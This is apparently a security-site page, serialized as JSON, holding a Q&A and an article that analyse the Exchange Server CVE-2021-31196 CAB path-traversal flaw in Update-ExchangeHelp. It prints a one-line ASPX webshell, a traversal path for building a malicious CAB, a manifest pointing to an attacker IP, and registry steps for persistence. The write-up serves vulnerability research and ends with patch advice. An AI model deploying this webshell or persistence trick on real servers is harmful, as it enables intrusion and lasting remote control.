[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f-SpImoQag5kMz3D17ZOj7Qf7oLRFN1L70Naq7yQkliE":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":34,"aiModel":39,"aiConfidence":39,"updatedAt":51,"createdAt":51,"_status":50},65,"What registry key can be modified to persist exploitation of CVE-2021-31196 without a MITM attack?","The registry key `HKLM\\SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp` stores the `ManifestUrl` value (type `REG_SZ`). By default it points to the Microsoft domain, but an attacker with local access can set it to a remote XML file (e.g., `http:\u002F\u002F192.168.1.3\u002Fpoc.xml`). After that, any execution of `Update-ExchangeHelp` will download the attacker’s manifest and CAB file, enabling persistent arbitrary file writes. This persistence technique is detailed in the [original analysis](\u002Fnews\u002Fpwn2own-2021-microsoft-exchange-server-vulnerability-cve-2021-31196-exploitation-analysis).","\u003Cp>The registry key `HKLM\\SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp` stores the `ManifestUrl` value (type `REG_SZ`). By default it points to the Microsoft domain, but an attacker with local access can set it to a remote XML file (e.g., `http:\u002F\u002F192.168.1.3\u002Fpoc.xml`). After that, any execution of `Update-ExchangeHelp` will download the attacker’s manifest and CAB file, enabling persistent arbitrary file writes. This persistence technique is detailed in the [original analysis](\u002Fnews\u002Fpwn2own-2021-microsoft-exchange-server-vulnerability-cve-2021-31196-exploitation-analysis).\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fpwn2own-2021-microsoft-exchange-server-vulnerability-cve-2021-31196-exploitation-analysis\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","what-registry-key-can-be-modified-to-persist-exploitation-of-cve-2021-31196-with-1777485420501","registry persistence, ManifestUrl, HKLM, UpdateExchangeHelp, persistence, Exchange Server",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":30,"cover":31,"author":32,"views":19,"readingTime":33,"status":34,"publishedAt":35,"seo":36,"tags":41,"qaPairs":42,"meta":47,"updatedAt":48,"createdAt":49,"_status":50},17,"Pwn2Own 2021 Microsoft Exchange Server Vulnerability (CVE-2021-31196) Exploitation Analysis","pwn2own-2021-microsoft-exchange-server-vulnerability-cve-2021-31196-exploitation-analysis","Analysis of CVE-2021-31196, a logic flaw in Exchange Server allowing RCE via Update-ExchangeHelp command. Exploits MITM attacks for code execution.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>CVE-2021-31196 is a logic vulnerability. Exploitation requires a man-in-the-middle attack and user interaction, ultimately enabling remote code execution.\u003C\u002Fp>\u003Cp>Technical article shared by the vulnerability discoverer:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fsrcincite.io\u002Fblog\u002F2021\u002F08\u002F25\u002Fpwn2own-vancouver-2021-microsoft-exchange-server-remote-code-execution.html\u003C\u002Fp>\u003Cp>This article solely documents personal research insights from a technical perspective.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Vulnerability Debugging\u003C\u002Fli>\u003Cli>Exploitation Approach\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Vulnerability Debugging\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Vulnerability Summary\u003C\u002Fh3>\u003Cp>In Exchange Server 2013 or later, when an administrative user runs the Update-ExchangeHelp or Update-ExchangeHelp -Force command in the Exchange Management Shell, an unauthenticated attacker in a privileged network position can trigger a remote code execution vulnerability.\u003C\u002Fp>\u003Cp>A privileged network position refers to a scenario where the attacker can hijack the domain http:\u002F\u002Fgo.microsoft.com\u002Ffwlink\u002Fp\u002F?LinkId=287244.\u003C\u002Fp>\u003Ch3>2. Vulnerability Code Location\u003C\u002Fh3>\u003Cp>According to the provided materials in the original text, open the file C:\\Program Files\\Microsoft\\Exchange Server\\V15\\Bin\\Microsoft.Exchange.Management.dll using dnSpy.\u003C\u002Fp>\u003Cp>Navigate sequentially to Microsoft.Exchange.Management.UpdatableHelp -&gt; HelpUpdater -&gt; UpdateHelp().\u003C\u002Fp>\u003Ch3>3. Vulnerability Logic\u003C\u002Fh3>\u003Ch4>(1) Execute the Update-ExchangeHelp or Update-ExchangeHelp -Force command using the Exchange Management Shell.\u003C\u002Fh4>\u003Cp>In Exchange Server 2013 or later, the Update-ExchangeHelp command is supported to check for the latest available version of help for the Exchange Management Shell on the local computer.\u003C\u002Fp>\u003Cp>The Update-ExchangeHelp command has a restriction period of 24 hours; if executed again within 24 hours, the -Force parameter must be added.\u003C\u002Fp>\u003Cp>After executing the command, the UpdateHelp() function is entered, initiating subsequent operations.\u003C\u002Fp>\u003Ch4>(2) Download the configuration file.\u003C\u002Fh4>\u003Cp>The code for downloading the configuration file in the UpdateHelp() function is shown in the following image.\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019776092_0_14d0e024f0.jpeg\">\u003C\u002Fp>\u003Cp>The implementation code for DownloadManifest() is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>internal void DownloadManifest()\u003Cbr>{\u003Cbr>\tstring downloadUrl = this.ResolveUri(this.helpUpdater.ManifestUrl);\u003Cbr>\tif (!this.helpUpdater.Cmdlet.Abort)\u003Cbr>\t{\u003Cbr>\t\tthis.AsyncDownloadFile(UpdatableHelpStrings.UpdateComponentManifest, downloadUrl, this.helpUpdater.LocalManifestPath, 30000, new DownloadProgressChangedEventHandler(this.OnManifestProgressChanged), new AsyncCompletedEventHandler(this.OnManifestDownloadCompleted));\u003Cbr>\t}\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>For string downloadUrl = this.ResolveUri(this.helpUpdater.ManifestUrl);, the parameter this.helpUpdater.ManifestUrl is obtained through the function LoadConfiguration(). Part of the code for LoadConfiguration() is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey(\"SOFTWARE\\\\Microsoft\\\\ExchangeServer\\\\v15\\\\UpdateExchangeHelp\");\u003Cbr>if (registryKey3 == null)\u003Cbr>{\u003Cbr>\tregistryKey3 = Registry.LocalMachine.CreateSubKey(\"SOFTWARE\\\\Microsoft\\\\ExchangeServer\\\\v15\\\\UpdateExchangeHelp\");\u003Cbr>}\u003Cbr>if (registryKey3 != null)\u003Cbr>{\u003Cbr>\ttry\u003Cbr>\t{\u003Cbr>\t\tthis.ManifestUrl = registryKey3.GetValue(\"ManifestUrl\", \"http:\u002F\u002Fgo.microsoft.com\u002Ffwlink\u002Fp\u002F?LinkId=287244\").ToString();\u003Cbr>\t\tif (string.IsNullOrEmpty(this.ManifestUrl))\u003Cbr>\t\t{\u003Cbr>\t\t\tthrow new UpdatableExchangeHelpSystemException(UpdatableHelpStrings.UpdateRegkeyNotFoundErrorID, UpdatableHelpStrings.UpdateRegkeyNotFound(\"SOFTWARE\\\\Microsoft\\\\ExchangeServer\\\\v15\", \"\\\\UpdateExchangeHelp\", \"ManifestUrl\"), ErrorCategory.MetadataError, null, null);\u003Cbr>\t\t}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The logic here reads the registry key named ManifestUrl under HKLM\\SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp. If it exists, its value is assigned to ManifestUrl; if not, ManifestUrl defaults to http:\u002F\u002Fgo.microsoft.com\u002Ffwlink\u002Fp\u002F?LinkId=287244.\u003C\u002Fp>\u003Cp>This is also one of the prerequisites for exploiting this vulnerability, requiring the ability to hijack http:\u002F\u002Fgo.microsoft.com\u002Ffwlink\u002Fp\u002F?LinkId=287244.\u003C\u002Fp>\u003Cp>Alternatively, if control of the Exchange server is already obtained, modifying the registry to set ManifestUrl (type REG_SZ) to a remote XML address, such as http:\u002F\u002F192.168.1.3\u002Fpoc.xml, can serve as a persistence method.\u003C\u002Fp>\u003Cp>For this.AsyncDownloadFile(UpdatableHelpStrings.UpdateComponentManifest, downloadUrl, this.helpUpdater.LocalManifestPath, 30000, new DownloadProgressChangedEventHandler(this.OnManifestProgressChanged), new AsyncCompletedEventHandler(this.OnManifestDownloadCompleted));, the parameter this.helpUpdater.LocalManifestPath is the save path for the configuration file. By default, the path is C:\\Program Files\\Microsoft\\Exchange Server\\V15\\Bin\\UpdateHelp.$$$\\ExchangeHelpInfo.xml.\u003C\u002Fp>\u003Cp>Example format of the XML configuration file:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003Cexchangehelpinfo>\u003Cbr>  \u003Chelpversions>\u003Cbr>    \u003Chelpversion>\u003Cbr>      \u003Cversion>15.1.2176.2\u003C\u002Fversion>\u003Cbr>      \u003Crevision>1\u003C\u002Frevision>\u003Cbr>      \u003Cculturesupdated>en\u003C\u002Fculturesupdated>\u003Cbr>      \u003Ccabineturl>http:\u002F\u002F192.168.1.3\u002Fpoc.cab\u003C\u002Fcabineturl>\u003Cbr>    \u003C\u002Fhelpversion>\u003Cbr>  \u003C\u002Fhelpversions>\u003Cbr>\u003C\u002Fexchangehelpinfo>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The parameter Version represents the Exchange version number, which can be obtained by checking the registry in a debugging environment:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>REG QUERY \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\ExchangeServer\\v15\\ClientAccessRole\" \u002Fv ConfiguredVersion\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The parameter Revision is the revision number. Note the value range here. After a normal Update-ExchangeHelp operation, a new registry entry CurrentHelpRevision will be created under HKLM\\SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp, of type REG_DWORD, with a value corresponding to the Revision number. In the next Update-ExchangeHelp operation, the Revision value in the XML configuration file must be greater than the value of the registry entry CurrentHelpRevision.\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>If the registry entry CurrentHelpRevision is manually deleted after a normal Update-ExchangeHelp operation, set Revision to 1 in the next Update-ExchangeHelp operation.\u003C\u002Fp>\u003Cp>The parameter CabinetUrl is the download address of the CAB file.\u003C\u002Fp>\u003Ch4>(3) Download and extract the CAB file\u003C\u002Fh4>\u003Cp>The code for downloading and extracting the CAB file in the UpdateHelp() function is shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019787273_1_b0b0c6193c.jpeg\">\u003C\u002Fp>\u003Cp>The implementation code for ExtractToTemp() is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>internal int ExtractToTemp()\u003Cbr>{\u003Cbr>\tthis.filesAffected = 0;\u003Cbr>\tthis.helpUpdater.EnsureDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);\u003Cbr>\tthis.helpUpdater.CleanDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);\u003Cbr>\tbool embedded = false;\u003Cbr>\tstring filter = \"\";\u003Cbr>\tint result = EmbeddedCabWrapper.ExtractCabFiles(this.helpUpdater.LocalCabinetPath, this.helpUpdater.LocalCabinetExtractionTargetPath, filter, embedded);\u003Cbr>\tthis.cabinetFiles = new Dictionary\u003Cstring, list\u003Cstring=\"\">&gt;();\u003Cbr>\tthis.helpUpdater.RecursiveDescent(0, this.helpUpdater.LocalCabinetExtractionTargetPath, string.Empty, this.affectedCultures, false, this.cabinetFiles);\u003Cbr>\tthis.filesAffected = result;\u003Cbr>\treturn result;\u003Cbr>}\u003C\u002Fstring,>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>For the statement int result = EmbeddedCabWrapper.ExtractCabFiles(this.helpUpdater.LocalCabinetPath, this.helpUpdater.LocalCabinetExtractionTargetPath, filter, embedded);, used to extract the contents of CAB files\u003C\u002Fp>\u003Cp>ExtractCabFiles does not validate file paths before extraction, which is the vulnerability of CVE-2021-31196. If ..\u002F is passed in, directory traversal can occur, ultimately leading to arbitrary file write\u003C\u002Fp>\u003Cp>Regarding the creation of CAB files, refer to the method in the original text:\u003C\u002Fp>\u003Cp>The content of files.txt is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\"poc.aspx\" \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Finetpub\u002Fwwwroot\u002Faspnet_client\u002Fpoc.aspx\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The content of poc.aspx is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>&lt;%=System.Diagnostics.Process.Start(\"cmd\", Request[\"c\"])%&gt;\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Execute the command in the command line:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>makecab \u002Fd \"CabinetName1=poc.cab\" \u002Ff files.txt\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Generate the final poc.cab\u003C\u002Fp>\u003Ch2>0x03 Exploitation Approach\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Hijack http:\u002F\u002Fgo.microsoft.com\u002Ffwlink\u002Fp\u002F?LinkId=287244 through a man-in-the-middle attack\u003C\u002Fh3>\u003Cp>Refer to the original text for POC\u003C\u002Fp>\u003Cp>When an administrative user runs the Update-ExchangeHelp or Update-ExchangeHelp -Force command in the Exchange Management Shell, the Exchange server will write a webshell to C:\\inetpub\\wwwroot\\aspnet_client\u003C\u002Fp>\u003Ch3>2. Modify the registry to achieve persistence\u003C\u002Fh3>\u003Cp>Registry location: HKLM\\SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp\u003C\u002Fp>\u003Cp>Create a new registry entry named ManifestUrl, type REG_SZ, with content as a remote XML address, e.g., http:\u002F\u002F192.168.1.3\u002Fpoc.xml\u003C\u002Fp>\u003Ch2>0x04 Defense Recommendations\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>1. Install patches\u003C\u002Fp>\u003Cp>Reference materials:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fmsrc.microsoft.com\u002Fupdate-guide\u002Fen-US\u002Fvulnerability\u002FCVE-2021-31206\u003C\u002Fp>\u003Cp>2. Avoid network hijacking\u003C\u002Fp>\u003Ch2>0x05 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Although the exploitation conditions for CVE-2021-31196 are relatively more specific, there is still potential for exploitation in certain environments, making timely patch updates essential.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>CVE-2021-31196 is a logic vulnerability. Exploitation requires a man-in-the-middle attack and user interaction, ultimately enabling remote code execution.\u003C\u002Fp>\u003Cp>Technical article shared by the vulnerability discoverer:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fsrcincite.io\u002Fblog\u002F2021\u002F08\u002F25\u002Fpwn2own-vancouver-2021-microsoft-exchange-server-remote-code-execution.html\u003C\u002Fp>\u003Cp>This article solely documents personal research insights from a technical perspective.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Vulnerability Debugging\u003C\u002Fli>\u003Cli>Exploitation Approach\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Vulnerability Debugging\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Vulnerability Summary\u003C\u002Fh3>\u003Cp>In Exchange Server 2013 or later, when an administrative user runs the Update-ExchangeHelp or Update-ExchangeHelp -Force command in the Exchange Management Shell, an unauthenticated attacker in a privileged network position can trigger a remote code execution vulnerability.\u003C\u002Fp>\u003Cp>A privileged network position refers to a scenario where the attacker can hijack the domain http:\u002F\u002Fgo.microsoft.com\u002Ffwlink\u002Fp\u002F?LinkId=287244.\u003C\u002Fp>\u003Ch3>2. Vulnerability Code Location\u003C\u002Fh3>\u003Cp>According to the provided materials in the original text, open the file C:\\Program Files\\Microsoft\\Exchange Server\\V15\\Bin\\Microsoft.Exchange.Management.dll using dnSpy.\u003C\u002Fp>\u003Cp>Navigate sequentially to Microsoft.Exchange.Management.UpdatableHelp -&gt; HelpUpdater -&gt; UpdateHelp().\u003C\u002Fp>\u003Ch3>3. Vulnerability Logic\u003C\u002Fh3>\u003Ch4>(1) Execute the Update-ExchangeHelp or Update-ExchangeHelp -Force command using the Exchange Management Shell.\u003C\u002Fh4>\u003Cp>In Exchange Server 2013 or later, the Update-ExchangeHelp command is supported to check for the latest available version of help for the Exchange Management Shell on the local computer.\u003C\u002Fp>\u003Cp>The Update-ExchangeHelp command has a restriction period of 24 hours; if executed again within 24 hours, the -Force parameter must be added.\u003C\u002Fp>\u003Cp>After executing the command, the UpdateHelp() function is entered, initiating subsequent operations.\u003C\u002Fp>\u003Ch4>(2) Download the configuration file.\u003C\u002Fh4>\u003Cp>The code for downloading the configuration file in the UpdateHelp() function is shown in the following image.\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019776092_0_14d0e024f0-1.jpeg\">\u003C\u002Fp>\u003Cp>The implementation code for DownloadManifest() is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>internal void DownloadManifest()\u003Cbr>{\u003Cbr>\tstring downloadUrl = this.ResolveUri(this.helpUpdater.ManifestUrl);\u003Cbr>\tif (!this.helpUpdater.Cmdlet.Abort)\u003Cbr>\t{\u003Cbr>\t\tthis.AsyncDownloadFile(UpdatableHelpStrings.UpdateComponentManifest, downloadUrl, this.helpUpdater.LocalManifestPath, 30000, new DownloadProgressChangedEventHandler(this.OnManifestProgressChanged), new AsyncCompletedEventHandler(this.OnManifestDownloadCompleted));\u003Cbr>\t}\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>For string downloadUrl = this.ResolveUri(this.helpUpdater.ManifestUrl);, the parameter this.helpUpdater.ManifestUrl is obtained through the function LoadConfiguration(). Part of the code for LoadConfiguration() is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey(\"SOFTWARE\\\\Microsoft\\\\ExchangeServer\\\\v15\\\\UpdateExchangeHelp\");\u003Cbr>if (registryKey3 == null)\u003Cbr>{\u003Cbr>\tregistryKey3 = Registry.LocalMachine.CreateSubKey(\"SOFTWARE\\\\Microsoft\\\\ExchangeServer\\\\v15\\\\UpdateExchangeHelp\");\u003Cbr>}\u003Cbr>if (registryKey3 != null)\u003Cbr>{\u003Cbr>\ttry\u003Cbr>\t{\u003Cbr>\t\tthis.ManifestUrl = registryKey3.GetValue(\"ManifestUrl\", \"http:\u002F\u002Fgo.microsoft.com\u002Ffwlink\u002Fp\u002F?LinkId=287244\").ToString();\u003Cbr>\t\tif (string.IsNullOrEmpty(this.ManifestUrl))\u003Cbr>\t\t{\u003Cbr>\t\t\tthrow new UpdatableExchangeHelpSystemException(UpdatableHelpStrings.UpdateRegkeyNotFoundErrorID, UpdatableHelpStrings.UpdateRegkeyNotFound(\"SOFTWARE\\\\Microsoft\\\\ExchangeServer\\\\v15\", \"\\\\UpdateExchangeHelp\", \"ManifestUrl\"), ErrorCategory.MetadataError, null, null);\u003Cbr>\t\t}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The logic here reads the registry key named ManifestUrl under HKLM\\SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp. If it exists, its value is assigned to ManifestUrl; if not, ManifestUrl defaults to http:\u002F\u002Fgo.microsoft.com\u002Ffwlink\u002Fp\u002F?LinkId=287244.\u003C\u002Fp>\u003Cp>This is also one of the prerequisites for exploiting this vulnerability, requiring the ability to hijack http:\u002F\u002Fgo.microsoft.com\u002Ffwlink\u002Fp\u002F?LinkId=287244.\u003C\u002Fp>\u003Cp>Alternatively, if control of the Exchange server is already obtained, modifying the registry to set ManifestUrl (type REG_SZ) to a remote XML address, such as http:\u002F\u002F192.168.1.3\u002Fpoc.xml, can serve as a persistence method.\u003C\u002Fp>\u003Cp>For this.AsyncDownloadFile(UpdatableHelpStrings.UpdateComponentManifest, downloadUrl, this.helpUpdater.LocalManifestPath, 30000, new DownloadProgressChangedEventHandler(this.OnManifestProgressChanged), new AsyncCompletedEventHandler(this.OnManifestDownloadCompleted));, the parameter this.helpUpdater.LocalManifestPath is the save path for the configuration file. By default, the path is C:\\Program Files\\Microsoft\\Exchange Server\\V15\\Bin\\UpdateHelp.$$$\\ExchangeHelpInfo.xml.\u003C\u002Fp>\u003Cp>Example format of the XML configuration file:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003Cexchangehelpinfo>\u003Cbr>  \u003Chelpversions>\u003Cbr>    \u003Chelpversion>\u003Cbr>      \u003Cversion>15.1.2176.2\u003C\u002Fversion>\u003Cbr>      \u003Crevision>1\u003C\u002Frevision>\u003Cbr>      \u003Cculturesupdated>en\u003C\u002Fculturesupdated>\u003Cbr>      \u003Ccabineturl>http:\u002F\u002F192.168.1.3\u002Fpoc.cab\u003C\u002Fcabineturl>\u003Cbr>    \u003C\u002Fhelpversion>\u003Cbr>  \u003C\u002Fhelpversions>\u003Cbr>\u003C\u002Fexchangehelpinfo>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The parameter Version represents the Exchange version number, which can be obtained by checking the registry in a debugging environment:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>REG QUERY \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\ExchangeServer\\v15\\ClientAccessRole\" \u002Fv ConfiguredVersion\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The parameter Revision is the revision number. Note the value range here. After a normal Update-ExchangeHelp operation, a new registry entry CurrentHelpRevision will be created under HKLM\\SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp, of type REG_DWORD, with a value corresponding to the Revision number. In the next Update-ExchangeHelp operation, the Revision value in the XML configuration file must be greater than the value of the registry entry CurrentHelpRevision.\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>If the registry entry CurrentHelpRevision is manually deleted after a normal Update-ExchangeHelp operation, set Revision to 1 in the next Update-ExchangeHelp operation.\u003C\u002Fp>\u003Cp>The parameter CabinetUrl is the download address of the CAB file.\u003C\u002Fp>\u003Ch4>(3) Download and extract the CAB file\u003C\u002Fh4>\u003Cp>The code for downloading and extracting the CAB file in the UpdateHelp() function is shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019787273_1_b0b0c6193c-1.jpeg\">\u003C\u002Fp>\u003Cp>The implementation code for ExtractToTemp() is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>internal int ExtractToTemp()\u003Cbr>{\u003Cbr>\tthis.filesAffected = 0;\u003Cbr>\tthis.helpUpdater.EnsureDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);\u003Cbr>\tthis.helpUpdater.CleanDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);\u003Cbr>\tbool embedded = false;\u003Cbr>\tstring filter = \"\";\u003Cbr>\tint result = EmbeddedCabWrapper.ExtractCabFiles(this.helpUpdater.LocalCabinetPath, this.helpUpdater.LocalCabinetExtractionTargetPath, filter, embedded);\u003Cbr>\tthis.cabinetFiles = new Dictionary\u003Cstring, list\u003Cstring=\"\">&gt;();\u003Cbr>\tthis.helpUpdater.RecursiveDescent(0, this.helpUpdater.LocalCabinetExtractionTargetPath, string.Empty, this.affectedCultures, false, this.cabinetFiles);\u003Cbr>\tthis.filesAffected = result;\u003Cbr>\treturn result;\u003Cbr>}\u003C\u002Fstring,>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>For the statement int result = EmbeddedCabWrapper.ExtractCabFiles(this.helpUpdater.LocalCabinetPath, this.helpUpdater.LocalCabinetExtractionTargetPath, filter, embedded);, used to extract the contents of CAB files\u003C\u002Fp>\u003Cp>ExtractCabFiles does not validate file paths before extraction, which is the vulnerability of CVE-2021-31196. If ..\u002F is passed in, directory traversal can occur, ultimately leading to arbitrary file write\u003C\u002Fp>\u003Cp>Regarding the creation of CAB files, refer to the method in the original text:\u003C\u002Fp>\u003Cp>The content of files.txt is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\"poc.aspx\" \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Finetpub\u002Fwwwroot\u002Faspnet_client\u002Fpoc.aspx\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The content of poc.aspx is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>&lt;%=System.Diagnostics.Process.Start(\"cmd\", Request[\"c\"])%&gt;\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Execute the command in the command line:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>makecab \u002Fd \"CabinetName1=poc.cab\" \u002Ff files.txt\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Generate the final poc.cab\u003C\u002Fp>\u003Ch2>0x03 Exploitation Approach\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Hijack http:\u002F\u002Fgo.microsoft.com\u002Ffwlink\u002Fp\u002F?LinkId=287244 through a man-in-the-middle attack\u003C\u002Fh3>\u003Cp>Refer to the original text for POC\u003C\u002Fp>\u003Cp>When an administrative user runs the Update-ExchangeHelp or Update-ExchangeHelp -Force command in the Exchange Management Shell, the Exchange server will write a webshell to C:\\inetpub\\wwwroot\\aspnet_client\u003C\u002Fp>\u003Ch3>2. Modify the registry to achieve persistence\u003C\u002Fh3>\u003Cp>Registry location: HKLM\\SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp\u003C\u002Fp>\u003Cp>Create a new registry entry named ManifestUrl, type REG_SZ, with content as a remote XML address, e.g., http:\u002F\u002F192.168.1.3\u002Fpoc.xml\u003C\u002Fp>\u003Ch2>0x04 Defense Recommendations\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>1. Install patches\u003C\u002Fp>\u003Cp>Reference materials:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fmsrc.microsoft.com\u002Fupdate-guide\u002Fen-US\u002Fvulnerability\u002FCVE-2021-31206\u003C\u002Fp>\u003Cp>2. Avoid network hijacking\u003C\u002Fp>\u003Ch2>0x05 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Although the exploitation conditions for CVE-2021-31196 are relatively more specific, there is still potential for exploitation in certain environments, making timely patch updates essential.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>",1759,"Onedaysec",4,"published","2026-02-02T08:20:05.028Z",{"title":37,"description":14,"keywords":38,"ogImage":39,"canonicalUrl":39,"noIndex":40},"CVE-2021-31196: Exchange Server RCE via Update-ExchangeHelp Exploit","CVE-2021-31196, Exchange Server vulnerability, remote code execution, Pwn2Own 2021, Update-ExchangeHelp exploit, Microsoft Exchange 